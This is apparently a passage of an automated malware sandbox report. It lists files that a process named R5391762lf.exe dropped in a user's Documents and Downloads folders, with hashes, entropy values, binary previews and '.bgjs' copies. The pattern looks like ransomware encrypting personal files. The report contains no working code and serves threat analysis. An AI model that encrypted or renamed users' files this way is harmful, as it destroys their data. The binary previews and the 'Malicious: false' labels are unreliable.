Entropy (8bit):	7.857187398001977
Encrypted:	false
SSDEEP:	24:A63dy0esn+5f02q4B0VY9cWTucN7hHJoSz6lTmie1v//n15QncpxxlbAQXq8uWbD:dves+B9q20qpTbhHJP6oN1/Qn4xNXFuQ
MD5:	0F7C9466CCC44AB2D6C6F63DB3472DE5
SHA1:	8B50F8E4BFCFC1CDA33099C85AE4B30A553D8387
SHA-256:	35D998544DF65BE91CE81F0374EED8DA735322C83F963EFBF15882C5DB65BD26
SHA-512:	6F151B70251A41A3E8C99013EDB28BFA1058276882E5693BDC89DED8BFE45CE50AF31C02C98526EF333078AA819416659F04789FDFBBED30699CF291ABA42E64
Malicious:	false
Preview:	SFPUSu...I.OQ<.%Nt....xM....ip.M..v...IV....L...^%..Q}.t.2.".....`5L\M...Y..e.8E........8r...v.Ho.....:.<.\.Y\|Y.'......7@+...<....!.9.P...&C.'..fz3.:..Z,..k..WPA.,.......My ....._.6..e..c.;.ejg.....8..y.v......,S.j)...p...Q~...u....'1...`....[.n.g.....9.....]......>..O....j]<a.)..w..S.l..B.V....p.8G.!{n...&.L.}..vX&.>..\|....a:..]..[.'...i^_...1d..Ti...s.S...Fbo..q...%$.17...!t./.q..m..^....{......z\.......^..x.......d...p..l.... \|.<.f...U..8......7.rx..o..P....Q.&.%.\..k...C..$....7Kc.;.&.z..Q..I.....9.p.4bLCR;@..=.....0......-.J2.v..D.x.-..,.......`..9.^.(.....N.......S.n.....:.../Yw....o.$L..F..zj~.Wh..x#..3.y/..u{...J...J.j.(...1R.F.N...M:ZM.e..8....m1:...%....~c..q."....o..2.5...a".Q&b.rZ...I.2[.^..D.....9mX,l.."...$../..zB...hp..2..U.0.t....Mn:....DL.......%........Y...B.\|y(c^.\|.z&.[U./...K.. ......V..3....s.h..Y2th..Q."d......h.T^w.=...X .2..+....=..P[...&..h....Ss.n.B.Ev.....o...uJ.2.*....'..}.....M\|u....."...

C:\Users\user\Documents\SFPUSAFIOL\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8375730988640795
Encrypted:	false
SSDEEP:	24:LqDZ8qAprEkCMFVRL1XK8o0zPI7k89MBhchKmPUtZOzRMAhEy9w752kiJTqSwXq+:LieakHFVLKYcYg8OTSAl9w7CTqXXFuED
MD5:	DC4D59ECF537AE851AF94F9F42A067D6
SHA1:	3E0FD960DD2EA91EADA39A642CC7F0A031D67DC8
SHA-256:	8FCEB98DB396E9B8AFA6A74C50225AE2FB2BC4E44CA6F6ED1B7498D027F91E13
SHA-512:	D2566576AC7F65E9E7058536CFE1A4ABFC55B329A71D7921067D2457E530832FA4590BE43D05B1DE07864A46C24D77FD57135A0BBA93A39777FA70C0C9676E00
Malicious:	false
Preview:	NEBFQ....-W.......$H.Y.S.....H.O.\M....).D..`.T5A.....{....E.<O....,.w.....}.......~....Y.........w..k..6ta.....\.;.{..+.A~...... ..\|.(F....d."2..x..........f..U.zc....L2.......J....U.b....U.6.,/hk.]....`&.I. .v...4..hR...v,.....?u..X#..E86.S....;.b.X7.K........1..98..r&....@..}...u.......!.?......p.....y.C3.=..;.....l.....;.x6......$.V...4......:.....eq.......Y...b.JNz.Bo9..Z...0c..[...b.nN.r.L1..Fz9I..2.bw\i..S...~.v@.....wmR6. ..mP.m..C..Y}).....$..._......;..?-.;.,Jf...d....M......c-.....=...k...A.!.vE.C..C....ou.....c.Y.e.Lll.._XD.(...<.>....31........+......Ky8Z.b.La...b!11....J......]..Uq)....w/b.PD..1.....!.0.m.b...u$....L..<)`.>5...F..y.9.'...~{.U.I....f.c...e[..p{..Y....+.`.X.`..[......n.....`.....}...[.....7.(. ../..@Hr.d...Y.Y}. .;kc.Y.....rz8@....GOU 7.UYJQ.J........c..VG..}....nQf.C...k%...F.d..`...Q.L.(S!..A.m..!.H.+0<....o...N=.A.{.&....r$..:.3.~..b.?o.....Q......k...:p...9.I......1$..f....w7(.....-W...(..@J.u......_+

C:\Users\user\Documents\SFPUSAFIOL\NEBFQQYWPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8375730988640795
Encrypted:	false
SSDEEP:	24:LqDZ8qAprEkCMFVRL1XK8o0zPI7k89MBhchKmPUtZOzRMAhEy9w752kiJTqSwXq+:LieakHFVLKYcYg8OTSAl9w7CTqXXFuED
MD5:	DC4D59ECF537AE851AF94F9F42A067D6
SHA1:	3E0FD960DD2EA91EADA39A642CC7F0A031D67DC8
SHA-256:	8FCEB98DB396E9B8AFA6A74C50225AE2FB2BC4E44CA6F6ED1B7498D027F91E13
SHA-512:	D2566576AC7F65E9E7058536CFE1A4ABFC55B329A71D7921067D2457E530832FA4590BE43D05B1DE07864A46C24D77FD57135A0BBA93A39777FA70C0C9676E00
Malicious:	false
Preview:	NEBFQ....-W.......$H.Y.S.....H.O.\M....).D..`.T5A.....{....E.<O....,.w.....}.......~....Y.........w..k..6ta.....\.;.{..+.A~...... ..\|.(F....d."2..x..........f..U.zc....L2.......J....U.b....U.6.,/hk.]....`&.I. .v...4..hR...v,.....?u..X#..E86.S....;.b.X7.K........1..98..r&....@..}...u.......!.?......p.....y.C3.=..;.....l.....;.x6......$.V...4......:.....eq.......Y...b.JNz.Bo9..Z...0c..[...b.nN.r.L1..Fz9I..2.bw\i..S...~.v@.....wmR6. ..mP.m..C..Y}).....$..._......;..?-.;.,Jf...d....M......c-.....=...k...A.!.vE.C..C....ou.....c.Y.e.Lll.._XD.(...<.>....31........+......Ky8Z.b.La...b!11....J......]..Uq)....w/b.PD..1.....!.0.m.b...u$....L..<)`.>5...F..y.9.'...~{.U.I....f.c...e[..p{..Y....+.`.X.`..[......n.....`.....}...[.....7.(. ../..@Hr.d...Y.Y}. .;kc.Y.....rz8@....GOU 7.UYJQ.J........c..VG..}....nQf.C...k%...F.d..`...Q.L.(S!..A.m..!.H.+0<....o...N=.A.{.&....r$..:.3.~..b.?o.....Q......k...:p...9.I......1$..f....w7(.....-W...(..@J.u......_+

C:\Users\user\Documents\SFPUSAFIOL\QNCYCDFIJJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8413013433024386
Encrypted:	false
SSDEEP:	24:eFXQTJIqR7No1ZailfLt7DoJ/bhZOo0lFKK+nBdUkEVDtbPnSrvhp7do0ZXq8uWX:weJJPorlTt7Dqhv0mBdohn2v/BLXFuED
MD5:	0AEA490D05666201E6FAA033F9DD83C6
SHA1:	126FD95001312F85DFB93207A306321390815198
SHA-256:	DCB4B68395AE5CCD7318066B1D2B843005EA7F739F3562075E5C9DD0CBD13AF4
SHA-512:	AACAFC84A04EDBAED38D28D9F62C648E281BB3081756D3A232F24C82C9605D502F67E8A680D47A5116D52F68264D3AE989FA0FD3DBB0C385EA900F8C082F4A88
Malicious:	false
Preview:	QNCYC...0..W..x.T.U.m../#;vD.7..9.g^.aP.j-..k.2.....QK.T/..u.1.b..M%.....W../f_..g's....3.L...M.Ws...'...;..W..~0...1.....u)&,%.<...<.y.$...T...C...!.tx...$..lC..s.1^..?[......EB.L.l....2G.B=........t..!.../...h,K.v...6...w.Z..2_.B...S..._..gQ9.GH..."=.9.K}z..O[.+..p.....!."..M.%.6+R...0Z..\|KCbr.ZY\|..v.T..\|...C...cl2...{.tb..D....4..S./TI...@bbI...9DO..)..=f.^yg......vz+.<mI.2'#C^.,#..]B.....`Z'59..e....o..n...z4.{...g.Hd....t.-.W.....a....+..[..9.RLQ BR.0.c.B[:....57&.llX./.@..Q.J>.#Jji.(.B.o.'..&.b..Dq..!........A.?..$....BQ.L..`......8..e.D.....4b.3.5+Aj$............F.M.8..N.lm....{.#...Y.m..Zb...~i.J.%..f..:..a..llUO...G.>.)....G;.O.9.lD.L...{pj...n....Y.s...(...{+c.Q*..u,..y...]..6/.v%C3 .[.3....mW.EB.gS[.9...d........ .cA....x..j......aM.x.z9.....~.P.^S).,.............2.;...,p...h.=.9D...FX.......K........E..~.....$.(.q.^....}4[..&>6...H.J}.f.iUf.Op.S~5z...(...oHO..=7$...^..I..iXM....&v......$#.fR........N ....S8....G...... ]).\|H...K...O

C:\Users\user\Documents\SFPUSAFIOL\QNCYCDFIJJ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8413013433024386
Encrypted:	false
SSDEEP:	24:eFXQTJIqR7No1ZailfLt7DoJ/bhZOo0lFKK+nBdUkEVDtbPnSrvhp7do0ZXq8uWX:weJJPorlTt7Dqhv0mBdohn2v/BLXFuED
MD5:	0AEA490D05666201E6FAA033F9DD83C6
SHA1:	126FD95001312F85DFB93207A306321390815198
SHA-256:	DCB4B68395AE5CCD7318066B1D2B843005EA7F739F3562075E5C9DD0CBD13AF4
SHA-512:	AACAFC84A04EDBAED38D28D9F62C648E281BB3081756D3A232F24C82C9605D502F67E8A680D47A5116D52F68264D3AE989FA0FD3DBB0C385EA900F8C082F4A88
Malicious:	false
Preview:	QNCYC...0..W..x.T.U.m../#;vD.7..9.g^.aP.j-..k.2.....QK.T/..u.1.b..M%.....W../f_..g's....3.L...M.Ws...'...;..W..~0...1.....u)&,%.<...<.y.$...T...C...!.tx...$..lC..s.1^..?[......EB.L.l....2G.B=........t..!.../...h,K.v...6...w.Z..2_.B...S..._..gQ9.GH..."=.9.K}z..O[.+..p.....!."..M.%.6+R...0Z..\|KCbr.ZY\|..v.T..\|...C...cl2...{.tb..D....4..S./TI...@bbI...9DO..)..=f.^yg......vz+.<mI.2'#C^.,#..]B.....`Z'59..e....o..n...z4.{...g.Hd....t.-.W.....a....+..[..9.RLQ BR.0.c.B[:....57&.llX./.@..Q.J>.#Jji.(.B.o.'..&.b..Dq..!........A.?..$....BQ.L..`......8..e.D.....4b.3.5+Aj$............F.M.8..N.lm....{.#...Y.m..Zb...~i.J.%..f..:..a..llUO...G.>.)....G;.O.9.lD.L...{pj...n....Y.s...(...{+c.Q*..u,..y...]..6/.v%C3 .[.3....mW.EB.gS[.9...d........ .cA....x..j......aM.x.z9.....~.P.^S).,.............2.;...,p...h.=.9D...FX.......K........E..~.....$.(.q.^....}4[..&>6...H.J}.f.iUf.Op.S~5z...(...oHO..=7$...^..I..iXM....&v......$#.fR........N ....S8....G...... ]).\|H...K...O

C:\Users\user\Documents\SFPUSAFIOL\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840715145695476
Encrypted:	false
SSDEEP:	24:FQ6D3zh1LFwmquMBn06LSOrPlmg6V4qMIrj0HZHFi/Wh/wwXq8uWbD:+6BTwfFl06LSOBmH8IalWWh/9XFuED
MD5:	1E34CEB0760BD95F9EF3B2387B8D4A47
SHA1:	13A4033E17ED520C9887005084438742E532A86C
SHA-256:	D6230C217D592A2EF06AA2AE4419AEB4ED61F2FBBC1F6610521BC39EAA060CFB
SHA-512:	114139F590A1A5CB77222D4241102745E304C424B4D127F4262A96C0A39CA376418E3948F4B58A4B5786CEE4ADF460F28B821C57BCED2D4C1D0B36ACE9A42882
Malicious:	false
Preview:	ZQIXM(...E..,>...C.`3.,X.s.d.Z.6.1...w. .(.........n.;.B....WI^.i.X...$.1.'....,m....YLv.5<.:461.......:......H.&U..E'<..kK.mK.'.W....P...+...9..?@W`._....4..F..0h)d.2I-..m.:.{..`.b...\M.9?....\p..2..j...T:y\|#M..D.p..?~d...A..p. ...\|./.+J..Kr......Q.G..y...YE.`.g.j..\|.B..U.ZE..d......I.b.A.#.. 3...i..+}.j.....U....2a....l....O..G.\2....V.[Gd @.&.).\|.[.&$.Og..'$D...y.Y4BCk^....Ur..&tKR..,7...~...k]:.Pg._.?ge2(.}.W$S@...a.$....d....3..].P...v.dp.0....>....f....A......8-.....8F,...f.Kp.7.....Jf.v....1.....A..,z...!;...n>...'.;........Tv....#.......{.d.........].Cc.}....w..nt..X?.rxy.....&..mc7k......rB.....4.OU.zAf..(.2.HD...........*.......C..d.)d..m...W-..Pl..~..#OU.......N.....}.:..>:X-..!.R..>'D.#'t.l.q...d..........$.$=.Q..(.t.c.Q.....B....W.?7.'..?.Hy.z.0{.....{.1.Do..S..\z.6..\..4g.)..c'.8....I...nb.....P.j).....d.>...._...Ez7S.Mt...Td....mf-.]x....<..W........i..."=.~S...viL..j.Oy`7..p.+....H...e.8..6.r.h...HB...V.+.......@.."...u.A

C:\Users\user\Documents\SFPUSAFIOL\ZQIXMVQGAH.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840715145695476
Encrypted:	false
SSDEEP:	24:FQ6D3zh1LFwmquMBn06LSOrPlmg6V4qMIrj0HZHFi/Wh/wwXq8uWbD:+6BTwfFl06LSOBmH8IalWWh/9XFuED
MD5:	1E34CEB0760BD95F9EF3B2387B8D4A47
SHA1:	13A4033E17ED520C9887005084438742E532A86C
SHA-256:	D6230C217D592A2EF06AA2AE4419AEB4ED61F2FBBC1F6610521BC39EAA060CFB
SHA-512:	114139F590A1A5CB77222D4241102745E304C424B4D127F4262A96C0A39CA376418E3948F4B58A4B5786CEE4ADF460F28B821C57BCED2D4C1D0B36ACE9A42882
Malicious:	false
Preview:	ZQIXM(...E..,>...C.`3.,X.s.d.Z.6.1...w. .(.........n.;.B....WI^.i.X...$.1.'....,m....YLv.5<.:461.......:......H.&U..E'<..kK.mK.'.W....P...+...9..?@W`._....4..F..0h)d.2I-..m.:.{..`.b...\M.9?....\p..2..j...T:y\|#M..D.p..?~d...A..p. ...\|./.+J..Kr......Q.G..y...YE.`.g.j..\|.B..U.ZE..d......I.b.A.#.. 3...i..+}.j.....U....2a....l....O..G.\2....V.[Gd @.&.).\|.[.&$.Og..'$D...y.Y4BCk^....Ur..&tKR..,7...~...k]:.Pg._.?ge2(.}.W$S@...a.$....d....3..].P...v.dp.0....>....f....A......8-.....8F,...f.Kp.7.....Jf.v....1.....A..,z...!;...n>...'.;........Tv....#.......{.d.........].Cc.}....w..nt..X?.rxy.....&..mc7k......rB.....4.OU.zAf..(.2.HD...........*.......C..d.)d..m...W-..Pl..~..#OU.......N.....}.:..>:X-..!.R..>'D.#'t.l.q...d..........$.$=.Q..(.t.c.Q.....B....W.?7.'..?.Hy.z.0{.....{.1.Do..S..\z.6..\..4g.)..c'.8....I...nb.....P.j).....d.>...._...Ez7S.Mt...Td....mf-.]x....<..W........i..."=.~S...viL..j.Oy`7..p.+....H...e.8..6.r.h...HB...V.+.......@.."...u.A

C:\Users\user\Documents\ZQIXMVQGAH.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832123812649031
Encrypted:	false
SSDEEP:	24:k9zSkYC75r97lzzry6QuNRzY+bOJboP20TG6t1ww2QJBjyAzKlLvj/uXq8uWbD:IzYsllS0RzYJOwlQJBmQKlLr/uXFuED
MD5:	4BCE9DCC69DCC6F4CA84CDEE148AAA8C
SHA1:	8AF0350197F85D7B14D1304416EF57D588DC7470
SHA-256:	83E9B8B8479DA0B0780E6DB8559EF08BDD201201270492B6517E0CBA2534A942
SHA-512:	82A70AF986E9A4DDDB90926D1FD553D478775E697A9ACA98D473D4E11C40D7CCD932D47BADE50430969B6EFDB976303ADAA3D42E257F1334A9F6DB4F156B1888
Malicious:	false
Preview:	ZQIXM.....>.....\o.h=%...h!t...zP98.~DCU.......:.....G..s.."'.4.+.D3S..y...n."..5G+.t.V...:..\..D.............1.....\.'a.E....)!...E..i.x.k....5.N1...p.I.[.j..........$.5B.C.&......s<..Z.V......J..!q<W.5.r......{....\.OQysK....S!.Xc.s.D>?O.y.]....E..o...E...g..u"..s...{......._.s....x.q\|;..T...>../4I..y...Vd..afJ.p.(d...B........%.H..%.....J........+f.7...9....gFb...J.t#.{n..."/b.......{W.n.U....HC R.V.IW.Uo...o...;.d..&g..Y.0......+.<.R.HA.q."......brd.c;.c..gj5Ix..b.....9.S?.(.....)g6.'T.6#.....w"......(....d.<!\|.W...\\|}..Y.....f..#.......\..g..b.....6Y.ZY..\..e...4..=.!....F.h]m.D.u...V..T8..QDl.e...f...W.j...-&........6.06.....W........E...........9........."/..Bg/G4..H......l.wZ..^......A.`.T.l9...c!.i.9u>....Rk..U..J2/.Pn.\|&.o.<(.E.b..z...J.6`bg..D.V.....r@.?.Ay....Q.c.).}.i.....f.)..e..N..2..N....~5.......@c.M..L..@.CS~e.=...g...?.Y.~..".eG.6._N8..:.>.pUDe$&.\|SM.....A..T~.Z'pI4r.+....i.@......M.....`\..N?.ry.T...=..n.AUq.h-.$.....N

C:\Users\user\Documents\ZQIXMVQGAH.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832123812649031
Encrypted:	false
SSDEEP:	24:k9zSkYC75r97lzzry6QuNRzY+bOJboP20TG6t1ww2QJBjyAzKlLvj/uXq8uWbD:IzYsllS0RzYJOwlQJBmQKlLr/uXFuED
MD5:	4BCE9DCC69DCC6F4CA84CDEE148AAA8C
SHA1:	8AF0350197F85D7B14D1304416EF57D588DC7470
SHA-256:	83E9B8B8479DA0B0780E6DB8559EF08BDD201201270492B6517E0CBA2534A942
SHA-512:	82A70AF986E9A4DDDB90926D1FD553D478775E697A9ACA98D473D4E11C40D7CCD932D47BADE50430969B6EFDB976303ADAA3D42E257F1334A9F6DB4F156B1888
Malicious:	false
Preview:	ZQIXM.....>.....\o.h=%...h!t...zP98.~DCU.......:.....G..s.."'.4.+.D3S..y...n."..5G+.t.V...:..\..D.............1.....\.'a.E....)!...E..i.x.k....5.N1...p.I.[.j..........$.5B.C.&......s<..Z.V......J..!q<W.5.r......{....\.OQysK....S!.Xc.s.D>?O.y.]....E..o...E...g..u"..s...{......._.s....x.q\|;..T...>../4I..y...Vd..afJ.p.(d...B........%.H..%.....J........+f.7...9....gFb...J.t#.{n..."/b.......{W.n.U....HC R.V.IW.Uo...o...;.d..&g..Y.0......+.<.R.HA.q."......brd.c;.c..gj5Ix..b.....9.S?.(.....)g6.'T.6#.....w"......(....d.<!\|.W...\\|}..Y.....f..#.......\..g..b.....6Y.ZY..\..e...4..=.!....F.h]m.D.u...V..T8..QDl.e...f...W.j...-&........6.06.....W........E...........9........."/..Bg/G4..H......l.wZ..^......A.`.T.l9...c!.i.9u>....Rk..U..J2/.Pn.\|&.o.<(.E.b..z...J.6`bg..D.V.....r@.?.Ay....Q.c.).}.i.....f.)..e..N..2..N....~5.......@c.M..L..@.CS~e.=...g...?.Y.~..".eG.6._N8..:.>.pUDe$&.\|SM.....A..T~.Z'pI4r.+....i.@......M.....`\..N?.ry.T...=..n.AUq.h-.$.....N

C:\Users\user\Documents\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852736835399203
Encrypted:	false
SSDEEP:	24:I8yLqC9mu8yRh0iGnv0N1EHTxDEaUiwH7R+IVTbmGlMJmCPc7GkXq8uWbD:5yLqEAyHQ3zxDQ7bLK7tPcqkXFuED
MD5:	AE7753580691CFDC1BB6C2EEE87A0CE1
SHA1:	2B4B7C822346BA77B9F1E79345193CD9FB14C7C8
SHA-256:	5B611089FBBE4023CE1D6963DBAD805F6293DEB75FA089B68331A0DB919CBD4A
SHA-512:	2D983F570E12E153493C3A42E8C7CDB5CAF05A6B7115249035587815B50EF4E35A71630C4175D03F4139DB13132BE12F7F57A6C4B118586DCD72671EDB2F8C8B
Malicious:	false
Preview:	ZQIXM0\f3.T[...i....E..C.{....-..u...[...5}`..`(7&.....9G0\..l.1.....!.D.h......zy.a...a7......{A.../..f[P...k...._e..i&s...84...V...h{.%vp.G.2..Gv.v=a,<.o.0............yyb.R_.K.t=C9/I.~.\|:...h..1.=.m..D6./..x....O.G..Ir.Hi..]._../q...)z.v.#S.~.#W.......~a.t"......2..\|.T.`.K....-Y.R092.s.y....}......'v_..R.....P.=,..."ndM...?Q.I.i.n.$.........$..J.3.R~.C5..._...U....(.{.5!...V....g..8....I..c.M....l.h....b....P.02lP...=...............yp...s....X...c..h.....\|.5..d...a..n".&.$....i7.gK.5{.........TI.{C..;2.[".}G.......8.&L.......C.k..3.!.p.U.r..+@a..b.ni.q..1y....6?.z@,1a......69.....3....t..K...~..m...R.N.....,..l@.....N.@;..`.s..$4Y.....])1o.`.v-..0:.[..!..Nv./.4'...!R..@3>.(...8E.....aI.........~/u4..Nt.Q.m.q...Z..x@.u...3.....+..*.....1.<0..9.s.XR-...gH...A}.\|6.x..].uJ....5...ti.9....3...e....H......Qy..7.....EV.[.n..e.c/f.:jl...J........\|2..~.8.\|.......\..X.....K.wW.W..;.3.I....lZ] z~.W..j...]..@...`c4...L.d.I.._..........L./..P^...A.

C:\Users\user\Documents\ZQIXMVQGAH.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852736835399203
Encrypted:	false
SSDEEP:	24:I8yLqC9mu8yRh0iGnv0N1EHTxDEaUiwH7R+IVTbmGlMJmCPc7GkXq8uWbD:5yLqEAyHQ3zxDQ7bLK7tPcqkXFuED
MD5:	AE7753580691CFDC1BB6C2EEE87A0CE1
SHA1:	2B4B7C822346BA77B9F1E79345193CD9FB14C7C8
SHA-256:	5B611089FBBE4023CE1D6963DBAD805F6293DEB75FA089B68331A0DB919CBD4A
SHA-512:	2D983F570E12E153493C3A42E8C7CDB5CAF05A6B7115249035587815B50EF4E35A71630C4175D03F4139DB13132BE12F7F57A6C4B118586DCD72671EDB2F8C8B
Malicious:	false
Preview:	ZQIXM0\f3.T[...i....E..C.{....-..u...[...5}`..`(7&.....9G0\..l.1.....!.D.h......zy.a...a7......{A.../..f[P...k...._e..i&s...84...V...h{.%vp.G.2..Gv.v=a,<.o.0............yyb.R_.K.t=C9/I.~.\|:...h..1.=.m..D6./..x....O.G..Ir.Hi..]._../q...)z.v.#S.~.#W.......~a.t"......2..\|.T.`.K....-Y.R092.s.y....}......'v_..R.....P.=,..."ndM...?Q.I.i.n.$.........$..J.3.R~.C5..._...U....(.{.5!...V....g..8....I..c.M....l.h....b....P.02lP...=...............yp...s....X...c..h.....\|.5..d...a..n".&.$....i7.gK.5{.........TI.{C..;2.[".}G.......8.&L.......C.k..3.!.p.U.r..+@a..b.ni.q..1y....6?.z@,1a......69.....3....t..K...~..m...R.N.....,..l@.....N.@;..`.s..$4Y.....])1o.`.v-..0:.[..!..Nv./.4'...!R..@3>.(...8E.....aI.........~/u4..Nt.Q.m.q...Z..x@.u...3.....+..*.....1.<0..9.s.XR-...gH...A}.\|6.x..].uJ....5...ti.9....3...e....H......Qy..7.....EV.[.n..e.c/f.:jl...J........\|2..~.8.\|.......\..X.....K.wW.W..;.3.I....lZ] z~.W..j...]..@...`c4...L.d.I.._..........L./..P^...A.

C:\Users\user\Documents\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865665013365705
Encrypted:	false
SSDEEP:	24:Zmre1maVJwnTN3zReU82G0GF/bN170mZe9d+cApbZ3AGOolm2Y+J9qXN4blXq8uQ:Z8e1maMJ3zD8HJbv9el+bZQx+JzaXNWn
MD5:	07BF11C29DA36D0E4B63C37F642DECC3
SHA1:	449CEF332D0933981F657F243EB89F11B5192B3F
SHA-256:	8EE9FCDE7FD999FC36B00980EC5AC2067AF699691BB94F0F320AE0834CDE0574
SHA-512:	46381988A94DF68A129008102ADB0718BAFAF34535D6B8BBA24028D966ADCAC1266D7F1A25A208ED33659ACAB26965262D3ADAE1929A9DDD86DBB03604021A8E
Malicious:	false
Preview:	ZQIXMVe..\...././...w&.p....j..M....;.FB..X.h..2.H.....u..................`/t.7....}.?.....K..!R.g.r..uuQu.5...n.\h.X..vv.....Z....h...mU>..2c.#..B.Ii.g.......9r..C...X....S......6.G.F:...27.~...rSK..F+..f..qs..pu;.aa\|..b%.....Z.v3F...a..........Q.vA.\|.K.[.r.+m."..,!..fk.)..R8.`b.]...v.J..Z..'.[2.g...I.$5.QM.HX..Z8.R.,.[w....g.8..eJ....M...W....F{..6._`.....aF.R1.5.+..,..F....i...)....mA5u5....l.......Z..Qwp..a.CxX.......l..?..7..nk...k6....urdW..U..........0.R.##g3.w.....Q.....m.o8.tN...a.. .....L....t.&....".q..._.^.cI\G.....sKj.H.q?......o}@..U..../......O.....>.x..,....$.sY..>....sH..Y....mh..5.d.z.wrI.T......._.....&).ae.1W...o.(X...a..f.h...m..0;....^.].....h.$k7q..5.....,.....n.....+..../A\...R....[%u......k..ux'...~Oz...[....1.S.....4....w_.O., .].....R?#.{'"f.Z.....L.....H.W.`N...P.R..@t..^0...e..i.o..~Vb...e..+...QM.#....>......R...<.D......$..z...f...F..Q.c..K."/.T<.........#.1CVn....!.....:..p..[.Z..b...b=...].

C:\Users\user\Documents\ZQIXMVQGAH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865665013365705
Encrypted:	false
SSDEEP:	24:Zmre1maVJwnTN3zReU82G0GF/bN170mZe9d+cApbZ3AGOolm2Y+J9qXN4blXq8uQ:Z8e1maMJ3zD8HJbv9el+bZQx+JzaXNWn
MD5:	07BF11C29DA36D0E4B63C37F642DECC3
SHA1:	449CEF332D0933981F657F243EB89F11B5192B3F
SHA-256:	8EE9FCDE7FD999FC36B00980EC5AC2067AF699691BB94F0F320AE0834CDE0574
SHA-512:	46381988A94DF68A129008102ADB0718BAFAF34535D6B8BBA24028D966ADCAC1266D7F1A25A208ED33659ACAB26965262D3ADAE1929A9DDD86DBB03604021A8E
Malicious:	false
Preview:	ZQIXMVe..\...././...w&.p....j..M....;.FB..X.h..2.H.....u..................`/t.7....}.?.....K..!R.g.r..uuQu.5...n.\h.X..vv.....Z....h...mU>..2c.#..B.Ii.g.......9r..C...X....S......6.G.F:...27.~...rSK..F+..f..qs..pu;.aa\|..b%.....Z.v3F...a..........Q.vA.\|.K.[.r.+m."..,!..fk.)..R8.`b.]...v.J..Z..'.[2.g...I.$5.QM.HX..Z8.R.,.[w....g.8..eJ....M...W....F{..6._`.....aF.R1.5.+..,..F....i...)....mA5u5....l.......Z..Qwp..a.CxX.......l..?..7..nk...k6....urdW..U..........0.R.##g3.w.....Q.....m.o8.tN...a.. .....L....t.&....".q..._.^.cI\G.....sKj.H.q?......o}@..U..../......O.....>.x..,....$.sY..>....sH..Y....mh..5.d.z.wrI.T......._.....&).ae.1W...o.(X...a..f.h...m..0;....^.].....h.$k7q..5.....,.....n.....+..../A\...R....[%u......k..ux'...~Oz...[....1.S.....4....w_.O., .].....R?#.{'"f.Z.....L.....H.W.`N...P.R..@t..^0...e..i.o..~Vb...e..+...QM.#....>......R...<.D......$..z...f...F..Q.c..K."/.T<.........#.1CVn....!.....:..p..[.Z..b...b=...].

C:\Users\user\Downloads\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852448426338891
Encrypted:	false
SSDEEP:	24:diEpz1pGZ+WpcC4WVY5C5B0XlqngCybiyHXaZxut8heL1IIWYD5e3LggAk2ikyql:diEZPGfx4SY5+BYqgCmnmJELuFgVqju5
MD5:	CCE90A661BB9FD46F32C5CF46090C103
SHA1:	46B035F7CAABDC66D5E7255884B9E43629C9AC86
SHA-256:	308A7B719ECFFF4EDCAB3AF133B1DB680F8FF2C12AD7F3CC3D2C44F8E16ECD9F
SHA-512:	6C5295D7ED470F42A68D3744541DC0A39EA131BD91FF5BBCFB39110EC80B774328E69957715BE2D4CD925F32AD4B8533E16DE1E1FF924CB27E94E1EA871053DE
Malicious:	false
Preview:	EEGWX....P4...'].....H.P..........5^...e.j.%...\.....7.(...Z!W\|O6.P..yj.G..z...V.4.,. .7Dz.a..x<.8....+...l5....mG.-..l....d{..[.l..<..2.Po.G.@..L...."..CW.k.. ...Zj..U..^4.VDc.......E.>..<.........q....D.egtHP..a...j..`.........9E2.....d..M.!R:.7x...CHo.[.o\q.y,..0f..}...0X.7....("..i....-.\.+...O..(U.R....pK...L.4..I..m....G.m......k..5..l....E.............x.........RSg-...W.\|>J..V......hI.u...<CH/..@.^.T....Gt.^.....l..<9...M....qCM..Ca.H.Md...s..H....I.J.$.LC=e.{ 